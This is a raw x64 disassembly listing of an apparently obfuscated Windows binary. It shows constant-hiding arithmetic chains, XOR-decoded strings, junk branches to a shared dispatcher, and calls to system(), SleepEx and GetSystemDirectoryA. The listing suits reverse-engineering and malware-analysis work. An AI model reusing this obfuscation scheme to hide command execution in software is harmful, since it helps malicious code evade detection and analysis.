popf
pushf
not rax
add rax, 0x679ba3f7
xor rax, 0x7ab4c0c0
rol rax, 0xe6
popf
mov qword [rbp + 0x380], rax
movabs rax, 0xab3d63f20df72ee8
pushf
not rax
add rax, 0x4a885314
xor rax, 0x51cbc270
rol rax, 0xae
popf
pushf
not rax
add rax, 0x42c27341
xor rax, 0x7f16daf0
rol rax, 0x83
popf
pushf
not rax
add rax, 0x7706a975
xor rax, 0x6aa2ea8c
rol rax, 0x1f
popf
mov qword [rbp + 0x388], rax
movabs rax, 0xf2b94ba97dffcda1
pushf
not rax
add rax, 0x692c21be
xor rax, 0x7f9f4144
rol rax, 0x5d
popf
pushf
not rax
add rax, 0x40dc34d8
xor rax, 0x46cf7fdf
rol rax, 0x1a
popf
pushf
not rax
add rax, 0x5df04e5a
xor rax, 0x55cc4050
rol rax, 0xd5
popf
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x398], r12
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], r14
mov qword [rbp + 0x370], r13
mov qword [rbp + 0x378], r12
movdqa xmm0, xmmword [rbp + 0x380]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm1, xmmword [rbp + 0x370]
xorps xmm1, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x390], xmm1
lea rcx, [rbp + 0x380]
call fcn.1400f097e
mov rdx, qword [rbp + 0x348]
cmp rdx, 0xf
jbe 0x1400c2078
push rax
pushf
mov eax, 0xbe6cc619
pushf
not eax
add eax, 0x87b97573
xor eax, 0x9791f684
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xaeeb90a3
xor eax, 0x814dbab4
rol eax, 0xc5
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x8bcdd3a8
pushf
not eax
add eax, 0xaa879d2a
xor eax, 0xf5fbb70d
rol eax, 0x78
popf
pushf
not eax
add eax, 0xc7ca8258
xor eax, 0xc930dde0
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x94843dc1
xor eax, 0xd44755f1
rol eax, 0x6e
popf
jmp 0x1400bf04b
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c212d
push rax
pushf
mov eax, 0x13ff330f
pushf
not eax
add eax, 0xcb461a03
xor eax, 0xd737fbba
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x8390cec0
xor eax, 0xb112d5b9
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xba96c6fa
xor eax, 0x8f9711d7
rol eax, 0x31
popf
pushf
not eax
add eax, 0x9bd0f9cb
xor eax, 0xef496001
rol eax, 0x76
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xea5b6250
pushf
not eax
add eax, 0xbcdc943a
xor eax, 0xb5605b81
rol eax, 0xc
popf
pushf
not eax
add eax, 0xf8aa370c
xor eax, 0xc6edeb28
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xe959d9db
xor eax, 0xb1e6fcb0
rol eax, 0xe5
popf
jmp 0x1400bf04b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400c21e1
push rax
pushf
mov eax, 0x2bb0d46f
pushf
not eax
add eax, 0xca792403
xor eax, 0xd79f448a
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xbbb19e89
xor eax, 0xf0f6ca3c
rol eax, 0x31
popf
pushf
not eax
add eax, 0x82dbeabf
xor eax, 0xc6f5ef30
rol eax, 0xe8
popf
pushf
not eax
add eax, 0x9e7bdb0c
xor eax, 0xf4b55435
rol eax, 0x56
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x4f5141ca
pushf
not eax
add eax, 0xc206cc75
xor eax, 0xc6bab3f2
rol eax, 0x50
popf
pushf
not eax
add eax, 0xc4d8cdd3
xor eax, 0xeede3f44
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xb615602b
xor eax, 0xc4e19d00
rol eax, 0x36
popf
jmp 0x1400bf04b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400dff78
push rax
pushf
mov eax, 0x7cba7a09
pushf
not eax
add eax, 0x94ddbaa1
xor eax, 0xa1a3f6f3
rol eax, 0xba
popf
pushf
not eax
add eax, 0x9b3439fc
xor eax, 0xdec81512
rol eax, 0x45
popf
pushf
not eax
add eax, 0x99531b0d
xor eax, 0xc88ed4ac
rol eax, 0x7f
popf
jmp 0x1400bf04b
xor esi, esi
mov qword [rbp + 0x340], rsi
mov qword [rbp + 0x348], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x330], sil
lea rcx, [rbp - 0x30]
call fcn.140017d70
movabs rax, 0x5fa442af37bc39b6
pushf
not rax
add rax, 0x7a7f8add
xor rax, 0x605e6b38
rol rax, 0x2b
popf
pushf
not rax
add rax, 0x627ec237
xor rax, 0x57147070
rol rax, 0x39
popf
pushf
not rax
add rax, 0x4b80f1ff
xor rax, 0x70779c66
rol rax, 0xe6
popf
mov qword [rsp + 0x50], rax
movabs rax, 0xf95213a9411415c9
pushf
not rax
add rax, 0x6bb7fb8a
xor rax, 0x6099135b
rol rax, 0x4e
popf
pushf
not rax
add rax, 0x64e89d50
xor rax, 0x7e369084
rol rax, 0x23
popf
mov qword [rsp + 0x58], rax
movabs rax, 0xfc5e0f3fe020f745
pushf
not rax
add rax, 0x6ef05301
xor rax, 0x54b3aad5
rol rax, 0xf5
popf
pushf
not rax
add rax, 0x7ee60335
xor rax, 0x521c05cf
rol rax, 0xeb
popf
pushf
not rax
add rax, 0x497514d5
xor rax, 0x74e14bed
rol rax, 0xb4
popf
pushf
not rax
add rax, 0x542d3287
xor rax, 0x5e6e13e2
rol rax, 0xc2
popf
mov qword [rsp + 0x60], rax
movabs rax, 0x5adad1833288faec
pushf
not rax
add rax, 0x587d1d7b
xor rax, 0x40f2c4f1
rol rax, 0x6e
popf
pushf
not rax
add rax, 0x58f6c0c2
xor rax, 0x6ca46432
rol rax, 0xc7
popf
mov qword [rsp + 0x68], rax
movabs rax, 0x1f0204960a4c7c4b
pushf
not rax
add rax, 0x7169b362
xor rax, 0x504c5641
rol rax, 0x77
popf
pushf
not rax
add rax, 0x527f6faa
xor rax, 0x70d09544
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x7ffb23ae
xor rax, 0x620b21a4
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x6b31f02d
xor rax, 0x5e96adfe
rol rax, 0xe1
popf
mov qword [rsp + 0x70], rax
movabs rax, 0xc370eeef8ab12b76
pushf
not rax
add rax, 0x7263289a
xor rax, 0x5e0045a7
rol rax, 0xe3
popf
pushf
not rax
add rax, 0x6e0f1860
xor rax, 0x41d72c06
rol rax, 0x22
popf
pushf
not rax
add rax, 0x648c6cf3
xor rax, 0x4b705381
rol rax, 0x57
popf
mov qword [rsp + 0x78], rax
movabs rax, 0x353fa779809c441f
pushf
not rax
add rax, 0x5287ca20
xor rax, 0x54d0c631
rol rax, 0xb1
popf
pushf
not rax
add rax, 0x5877b4ce
xor rax, 0x6920bd5c
rol rax, 0x53
popf
pushf
not rax
add rax, 0x524a532e
xor rax, 0x5b5ec21e
rol rax, 0x6d
popf
pushf
not rax
add rax, 0x5fa97d22
xor rax, 0x7c94560c
rol rax, 0xfb
popf
mov qword [rbp - 0x80], rax
movabs rax, 0x1a0b584e8e94fac4
pushf
not rax
add rax, 0x5be3be1a
xor rax, 0x775f07c6
rol rax, 0x2b
popf
pushf
not rax
add rax, 0x6c246f50
xor rax, 0x648e6151
rol rax, 0xc3
popf
mov qword [rbp - 0x78], rax
movabs rax, 0xab4e2f05c69dc7ee
pushf
not rax
add rax, 0x6ecd3875
xor rax, 0x5ac57c5f
rol rax, 0x29
popf
pushf
not rax
add rax, 0x7536b369
xor rax, 0x62d8537f
rol rax, 0x37
popf
mov qword [rbp - 0x70], rax
movabs rax, 0xc73e8bf070ee6f12
pushf
not rax
add rax, 0x6ac4d634
xor rax, 0x43bd21ed
rol rax, 0xe5
popf
pushf
not rax
add rax, 0x55d359f9
xor rax, 0x4eb56764
rol rax, 0xe6
popf
pushf
not rax
add rax, 0x55700aee
xor rax, 0x69979fec
rol rax, 0x6e
popf
pushf
not rax
add rax, 0x550bf55b
xor rax, 0x5c1d8d42
rol rax, 0xd4
popf
mov qword [rbp - 0x68], rax
mov qword [rbp + 0x380], r15
mov qword [rbp + 0x388], r14
mov qword [rbp + 0x390], r13
mov qword [rbp + 0x398], r12
movabs rax, 0x157210c4b27e12cc
pushf
not rax
add rax, 0x58b2ed34
xor rax, 0x4cd10ce0
rol rax, 0x19
popf
pushf
not rax
add rax, 0x7f1c9997
xor rax, 0x69de4765
rol rax, 1
popf
pushf
not rax
add rax, 0x5aa394aa
xor rax, 0x4691cf8b
rol rax, 0x19
popf
pushf
not rax
add rax, 0x7fd54f55
xor rax, 0x5aca9f90
rol rax, 0x14
popf
mov qword [rbp + 0x3a0], rax
movabs rax, 0x3b6de7ba05d06b59
pushf
not rax
add rax, 0x73f2a87e
xor rax, 0x629eeab0
rol rax, 0xb3
popf
pushf
not rax
add rax, 0x597cf97b
xor rax, 0x62fc2299
rol rax, 4
popf
mov qword [rbp + 0x3a8], rax
movabs rax, 0x13e61eac8fbb2850
pushf
not rax
add rax, 0x63a0acc8
xor rax, 0x678e68a7
rol rax, 0x11
popf
pushf
not rax
add rax, 0x6ccac7e1
xor rax, 0x6b56d66c
rol rax, 0x1d
popf
mov qword [rbp + 0x3b0], rax
movabs rax, 0xd66ebd203803135d
pushf
not rax
add rax, 0x4d9cb6be
xor rax, 0x61570f9b
rol rax, 0x97
popf
pushf
not rax
add rax, 0x42402db2
xor rax, 0x64d1efb1
rol rax, 0xee
popf
mov qword [rbp + 0x3b8], rax
movabs rax, 0xea0583579713c556
pushf
not rax
add rax, 0x4cf34099
xor rax, 0x5146b86f
rol rax, 0x90
popf
pushf
not rax
add rax, 0x5f1f3376
xor rax, 0x48b0daae
rol rax, 0xd0
popf
mov qword [rbp + 0x3c0], rax
movabs rax, 0x6d1b617e85471c5
pushf
not rax
add rax, 0x4527da7f
xor rax, 0x6971efaf
rol rax, 0x28
popf
pushf
not rax
add rax, 0x7fe8d6cc
xor rax, 0x7809b49c
rol rax, 0x5d
popf
pushf
not rax
add rax, 0x51d56f72
xor rax, 0x6d174d89
rol rax, 0x41
popf
pushf
not rax
add rax, 0x4b5e333d
xor rax, 0x68ec2e34
rol rax, 0x1c
popf
mov qword [rbp + 0x3c8], rax
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x390]
xorps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [rbp + 0x3a0]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x3b0]
xorps xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [rbp + 0x3c0]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rsp + 0x50]
call fcn.1400f097e
movabs rax, 0xb8584d4b1ca33db8
pushf
not rax
add rax, 0x682cec37
xor rax, 0x5a9e3311
rol rax, 0xb4
popf
pushf
not rax
add rax, 0x660eec66
xor rax, 0x7053e44d
rol rax, 0x31
popf
pushf
not rax
add rax, 0x43c97673
xor rax, 0x6f161879
rol rax, 0x74
popf
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x338], r14
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], r14
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
call fcn.1400f097e
xor edx, edx
mov ecx, 0xc5139d6c
pushf
not ecx
add ecx, 0xaaab0d41
xor ecx, 0x812d8b97
rol ecx, 0x4e
popf
pushf
not ecx
add ecx, 0xbf841434
xor ecx, 0xbef6512c
rol ecx, 0x4a
popf
pushf
not ecx
add ecx, 0xd6980b2a
xor ecx, 0xc0ef6636
rol ecx, 0x63
popf
jmp 0x1400c2966
call qword [sym.imp.KERNEL32.dll_SleepEx]
movabs rax, 0x71bf0dbbd8425434
pushf
not rax
add rax, 0x4ef8ecb1
xor rax, 0x448d78d3
rol rax, 0xa1
popf
pushf
not rax
add rax, 0x54aa6c6c
xor rax, 0x58eab7af
rol rax, 0x3e
popf
pushf
not rax
add rax, 0x4939a764
xor rax, 0x44a02d7d
rol rax, 0xc7
popf
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x338], r14
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], r14
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
jmp 0x1400c29f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x7ecec2756cc048cf
pushf
not rax
add rax, 0x4a182d48
xor rax, 0x6470c234
rol rax, 0x81
popf
pushf
not rax
add rax, 0x64055efc
xor rax, 0x6aedc10d
rol rax, 0xc4
popf
mov qword [rbp + 0x330], rax
movabs rax, 0x501ab1057d5b1b04
pushf
not rax
add rax, 0x7d56250c
xor rax, 0x563b62b2
rol rax, 0xad
popf
pushf
not rax
add rax, 0x73c17d07
xor rax, 0x45ef192e
rol rax, 0x2d
popf
mov qword [rbp + 0x338], rax
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], r14
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x330], xmm0
lea rcx, [rbp + 0x330]
call fcn.1400f097e
call fcn.14012dd7a
lea ecx, [rsi + 0x10]
jmp 0x1400c2ab4
call qword [sym.imp.USER32.dll_MessageBeep]
call fcn.1401163c6
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x380], xmm0
mov qword [rbp + 0x390], rsi
mov qword [rbp + 0x398], rsi
xor r8d, r8d
lea rdx, [0x1bb9f5b7d]
pushf
sub rdx, 0x7b970ed9
popf
lea rcx, [rbp + 0x380]
call fcn.1400e55bd
nop
lea rdx, [rbp + 0x380]
mov rcx, rbx
call fcn.1401149de
mov ebx, eax
shr ebx, 0x1f
mov rdx, qword [rbp + 0x398]
cmp rdx, 7
jbe 0x1400c2b50
push rax
pushf
mov eax, 0xdb0f181b
pushf
not eax
add eax, 0xcb7c5efa
xor eax, 0x8d96e316
rol eax, 0x65
popf
pushf
not eax
add eax, 0xb8b2cebb
xor eax, 0xf93e0dab
rol eax, 0x99
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x1e5b5276
pushf
not eax
add eax, 0xee35db3e
xor eax, 0x86467db2
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xeb2a26d2
xor eax, 0x99100f51
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x9397050b
xor eax, 0xb997327c
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xe784a8da
xor eax, 0xb01e1773
rol eax, 0x8b
popf
jmp 0x1400bf04b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c2c0a
push rax
pushf
mov eax, 0x540747d
pushf
not eax
add eax, 0xd4b21e8c
xor eax, 0xf800ee69
rol eax, 0x32
popf
pushf
not eax
add eax, 0xeb408b65
xor eax, 0x8a1fbdc7
rol eax, 0x32
popf
pushf
not eax
add eax, 0xe9ef20d5
xor eax, 0xb00dd1e4
rol eax, 9
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x9b1899a1
pushf
not eax
add eax, 0xafbb992b
xor eax, 0xe7247e48
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xae1d3b3f
xor eax, 0xf67ef0b1
rol eax, 0x33
popf
pushf
not eax
add eax, 0x92fb22a1
xor eax, 0xe69def92
rol eax, 0x81
popf
pushf
not eax
add eax, 0xf643f937
xor eax, 0xe592b6f5
rol eax, 0xd3
popf
jmp 0x1400bf04b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c2caf
push rax
pushf
mov eax, 0xf66fea35
pushf
not eax
add eax, 0xa6cc6633
xor eax, 0xcb9baefd
rol eax, 0x67
popf
pushf
not eax
add eax, 0xa3c88f11
xor eax, 0xbfde0eb7
rol eax, 0x1f
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xc5016dea
pushf
not eax
add eax, 0xf5a06044
xor eax, 0x8eb6f721
rol eax, 0x63
popf
pushf
not eax
add eax, 0xb36ce778
xor eax, 0xf46fac54
rol eax, 0x90
popf
pushf
not eax
add eax, 0xd96f6c4a
xor eax, 0xda8939c8
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x8a899271
xor eax, 0x898d9cc0
rol eax, 0x16
popf
jmp 0x1400bf04b
call fcn.1400dff78
push rax
pushf
mov eax, 0xc530ed60
pushf
not eax
add eax, 0xbbcc7b5a
xor eax, 0x8ec070fe
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xc33fb03c
xor eax, 0xcffeef26
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x8d49f603
xor eax, 0xcdc06d8d
rol eax, 0x62
popf
pushf
not eax
add eax, 0xaddb8971
xor eax, 0xfdcbd8f6
rol eax, 0xcf
popf
jmp 0x1400bf04b
test bl, bl
je 0x1400c2da1
push rax
pushf
mov eax, 0xdcc17c5d
pushf
not eax
add eax, 0xc11ac734
xor eax, 0xd1132947
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xf4c333f0
xor eax, 0xcb34ef00
rol eax, 0xc1
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xc58de04a
pushf
not eax
add eax, 0xd250faa3
xor eax, 0x968f301e
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xa482cf9e
xor eax, 0xa91d7982
rol eax, 0xda
popf
pushf
not eax
add eax, 0xd82e3a66
xor eax, 0xe2158a7c
rol eax, 0x44
popf
pushf
not eax
add eax, 0x8a88dbb5
xor eax, 0x80f5e926
rol eax, 0xe6
popf
jmp 0x1400bf04b
movabs rax, 0x6544058eb7db21be
pushf
not rax
add rax, 0x5a28fa89
xor rax, 0x65eaef9a
rol rax, 0
popf
pushf
not rax
add rax, 0x61bf04a3
xor rax, 0x59486978
rol rax, 0xc4
popf
pushf
not rax
add rax, 0x5aa24b11
xor rax, 0x6635f7ce
rol rax, 0xd5
popf
mov qword [rsp + 0x50], rax
movabs rax, 0xf61f95a87516e30f
pushf
not rax
add rax, 0x46a6b248
xor rax, 0x44ebf990
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x7e31c2f7
xor rax, 0x5d866c10
rol rax, 0xaf
popf
pushf
not rax
add rax, 0x5e27e9ed
xor rax, 0x50f0272d
rol rax, 0x36
popf
pushf
not rax
add rax, 0x49a86f1c
xor rax, 0x75433750
rol rax, 0xb7
popf
mov qword [rsp + 0x58], rax
movabs rax, 0x74755c0bf04576d4
pushf
not rax
add rax, 0x7d499c42
xor rax, 0x4029f0dc
rol rax, 0x7d
popf
pushf
not rax
add rax, 0x79f170b0
xor rax, 0x582d077c
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x5439f86f
xor rax, 0x62443ee0
rol rax, 0x55
popf
pushf
not rax
add rax, 0x5c68c0f1
xor rax, 0x763b7dde
rol rax, 0x3c
popf
mov qword [rsp + 0x60], rax
movabs rax, 0x86df2f91edb99218
pushf
not rax
add rax, 0x629cec22
xor rax, 0x442e48f4
rol rax, 0x98
popf
pushf
not rax
add rax, 0x5091de08
xor rax, 0x65c79674
rol rax, 0xeb
popf
pushf
not rax
add rax, 0x4442e727
xor rax, 0x631da984
rol rax, 0x37
popf
mov qword [rsp + 0x68], rax
movabs rax, 0xbbcbd65048ac85e7
pushf
not rax
add rax, 0x502264c6
xor rax, 0x4431f35f
rol rax, 0x62
popf
pushf
not rax
add rax, 0x74d3ab08
xor rax, 0x59b44c10
rol rax, 0x41
popf
mov qword [rsp + 0x70], rax
movabs rax, 0x33f632313e2ec916
pushf
not rax
add rax, 0x4972f58a
xor rax, 0x51306637
rol rax, 0x35
popf
pushf
not rax
add rax, 0x56e2158c
xor rax, 0x5e32f168
rol rax, 0x57
popf
pushf
not rax
add rax, 0x657aaa81
xor rax, 0x4f95d9a8
rol rax, 5
popf
pushf
not rax
add rax, 0x7c84ff53
xor rax, 0x5d69f9e2
rol rax, 0x5e
popf
mov qword [rsp + 0x78], rax
mov qword [rbp + 0x380], r15
mov qword [rbp + 0x388], r14
mov qword [rbp + 0x390], r13
mov qword [rbp + 0x398], r12
movabs rcx, 0xe644590c1f9fc7ac
pushf
not rcx
add rcx, 0x78fd7ab9
xor rcx, 0x566109b6
rol rcx, 0x25
popf
pushf
not rcx
add rcx, 0x40b250fe
xor rcx, 0x5c6f8dc8
rol rcx, 0x82
popf
pushf
not rcx
add rcx, 0x7257ea5d
xor rcx, 0x7d47ccea
rol rcx, 0x96
popf
pushf
not rcx
add rcx, 0x5e49f612
xor rcx, 0x4ddf5971
rol rcx, 0x37
popf
mov qword [rbp + 0x3a0], rcx
mov qword [rbp + 0x3a8], rax
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [rsp + 0x60]
xorps xmm1, xmmword [rbp + 0x390]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rbp + 0x3a0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x50]
call fcn.1400f097e
call fcn.14011a0ef
jmp 0x1400c44d7
call fcn.1401163c6
mov edx, esi
cmp qword [rax], 0xffffffffffffffff
setne dl
movabs rax, 0x9d532806a7c00dfe
pushf
not rax
add rax, 0x7357c481
xor rax, 0x62bfbf43
rol rax, 0x75
popf
pushf
not rax
add rax, 0x46eef095
xor rax, 0x55e219c6
rol rax, 0xe
popf
mov qword [rbp + 0x380], rax
movabs rax, 0xa0a0ab644f6e4d43
pushf
not rax
add rax, 0x7386418b
xor rax, 0x66ea8382
rol rax, 0xec
popf
pushf
not rax
add rax, 0x48de3ce4
xor rax, 0x6dd691e5
rol rax, 0x31
popf
mov qword [rbp + 0x388], rax
movabs rax, 0x447107da9fd63e85
pushf
not rax
add rax, 0x5cded7f5
xor rax, 0x73701a76
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x5ac65b99
xor rax, 0x57d5f451
rol rax, 0x59
popf
pushf
not rax
add rax, 0x76758aee
xor rax, 0x4a6d76e3
rol rax, 0x41
popf
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x398], r12
mov qword [rbp + 0x330], r15
mov qword [rbp + 0x338], r14
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], r12
movdqa xmm0, xmmword [rbp + 0x380]
xorps xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm1, xmmword [rbp + 0x390]
xorps xmm1, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0x390], xmm1
lea rcx, [rbp + 0x380]
call fcn.1400f097e
xorps xmm0, xmm0
xor eax, eax
mov byte [rsp + 0x40], al
movdqu xmmword [rbp + 0x3d0], xmm0
mov qword [rbp + 0x3e0], rsi
lea edx, [rax + 1]
lea rcx, [rbp + 0x3d0]
call fcn.1400beb0e
mov rcx, qword [rbp + 0x3d0]
movzx eax, byte [rsp + 0x40]
mov byte [rcx], al
lea rax, [rcx + 1]
mov qword [rbp + 0x3d8], rax
mov r8d, 0x1690abde
pushf
not r8d
add r8d, 0xccca85ad
xor r8d, 0x8997de19
rol r8d, 0x60
popf
pushf
not r8d
add r8d, 0xc44072fb
xor r8d, 0xab47d737
rol r8d, 0x8f
popf
pushf
not r8d
add r8d, 0xae781a85
xor r8d, 0xd06e02bc
rol r8d, 0x6a
popf
lea rdx, [0x1b9c391e8]
pushf
sub rdx, 0x79ba70d8
popf
lea rcx, [rbp + 0x3d0]
call fcn.140121f6a
mov ecx, 0x1ff214b7
pushf
not ecx
add ecx, 0xae2cdde4
xor ecx, 0xe80095d8
rol ecx, 0x4c
popf
pushf
not ecx
add ecx, 0xd5617c11
xor ecx, 0xa1d99961
rol ecx, 0x54
popf
pushf
not ecx
add ecx, 0xf8ccc38f
xor ecx, 0xaf321edb
rol ecx, 0xd7
popf
pushf
not ecx
add ecx, 0x8d4f5295
xor ecx, 0x810db9b4
rol ecx, 0xec
popf
call fcn.1400b4d63
mov qword [rbp + 0x330], rax
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
mov qword [rax + 0x40], rcx
mov qword [0x1400a7ac8], rax
movabs rax, 0x47dc8f1b3f76fd1b
pushf
not rax
add rax, 0x4496d270
xor rax, 0x43e5e10e
rol rax, 0x9a
popf
pushf
not rax
add rax, 0x68e7fb6a
xor rax, 0x64a2c7fb
rol rax, 0xf9
popf
pushf
not rax
add rax, 0x6be63b36
xor rax, 0x5b773c0b
rol rax, 0x36
popf
mov qword [rbp + 0x380], rax
movabs rax, 0x183e5dfec839c22c
pushf
not rax
add rax, 0x6bb48b53
xor rax, 0x7e51aca2
rol rax, 0x1a
popf
pushf
not rax
add rax, 0x4fdfd106
xor rax, 0x62466faf
rol rax, 0x2d
popf
mov qword [rbp + 0x388], rax
movabs rax, 0xc91a2848ac8732f9
pushf
not rax
add rax, 0x452c5812
xor rax, 0x68b59276
rol rax, 0x54
popf
pushf
not rax
add rax, 0x61fc4c6b
xor rax, 0x6af51161
rol rax, 0xd4
popf
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x398], r12
mov qword [rbp + 0x330], r15
mov qword [rbp + 0x338], r14
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], r12
movdqa xmm0, xmmword [rbp + 0x380]
xorps xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm1, xmmword [rbp + 0x390]
xorps xmm1, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0x390], xmm1
lea rcx, [rbp + 0x380]
call fcn.1400f097e
mov rcx, qword [0x1400a7ac8]
call fcn.1400f83b3
test al, al
je 0x1400c3535
push rax
pushf
mov eax, 0x780de2cf
pushf
not eax
add eax, 0xecf20854
xor eax, 0xedbf151c
rol eax, 0xab
popf
pushf
not eax
add eax, 0x9c45d3df
xor eax, 0xc2c7cf14
rol eax, 0xb3
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0x82ab44c9
pushf
not eax
add eax, 0xcfd02701
xor eax, 0xe95d6df1
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xb2db7264
xor eax, 0xe7e744bc
rol eax, 0x47
popf
pushf
not eax
add eax, 0xe45f2b81
xor eax, 0xa1269b6d
rol eax, 0xa6
popf
jmp 0x1400bf04b
mov rbx, qword [0x1400a7ac8]
mov edx, 0x366418c
pushf
not edx
add edx, 0xb0ba9d64
xor edx, 0xb585cade
rol edx, 0x76
popf
pushf
not edx
add edx, 0xb5c44615
xor edx, 0xd6655d50
rol edx, 0x73
popf
pushf
not edx
add edx, 0xf9c63169
xor edx, 0x93c5088e
rol edx, 0xf0
popf
lea rcx, [rbp - 0x30]
jmp 0x1400c35cb
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x380], xmm0
mov qword [rbp + 0x390], rsi
mov qword [rbp + 0x398], rsi
lea rax, [rbp - 0x30]
mov r8, rdi
nop
push rax
pushf
mov eax, 0x405ee852
pushf
not eax
add eax, 0xc1f5a0c0
xor eax, 0xae7454cf
rol eax, 0x86
popf
pushf
not eax
add eax, 0x8ddbb449
xor eax, 0x95208a05
rol eax, 0x7d
popf
jmp 0x1400bf04b
inc r8
cmp byte [rax + r8], 0
jne 0x1400c3675
push rax
pushf
mov eax, 0xdb6dd3ac
pushf
not eax
add eax, 0xf5edb85d
xor eax, 0xcbe529d0
rol eax, 3
popf
pushf
not eax
add eax, 0xfead6432
xor eax, 0xab09486f
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xddd66cfb
xor eax, 0xe2c21ccd
rol eax, 0x7c
popf
jmp 0x1400bf04b
push rax
pushf
mov eax, 0xeceb242c
pushf
not eax
add eax, 0xa408e2f3
xor eax, 0xbeb92cfd
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xfa46b2b8
xor eax, 0x87f37fa9
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x87b2853b
xor eax, 0xfd19df98
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xa2f4a0f1
xor eax, 0xe96eb70b
rol eax, 0xf7
popf
jmp 0x1400bf04b
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x380]
call fcn.1400faaf3
nop
movabs rax, 0x7f1fd7b0d9f4b242
pushf
not rax
add rax, 0x582dd0a4
xor rax, 0x56aa0788
rol rax, 0xe5
popf
pushf
not rax
add rax, 0x4f628f0a
xor rax, 0x664fd8a6
rol rax, 0xfb
popf
pushf
not rax
add rax, 0x7c5807a3
xor rax, 0x430e5945
rol rax, 0
popf
mov qword [rbp + 0x330], rax
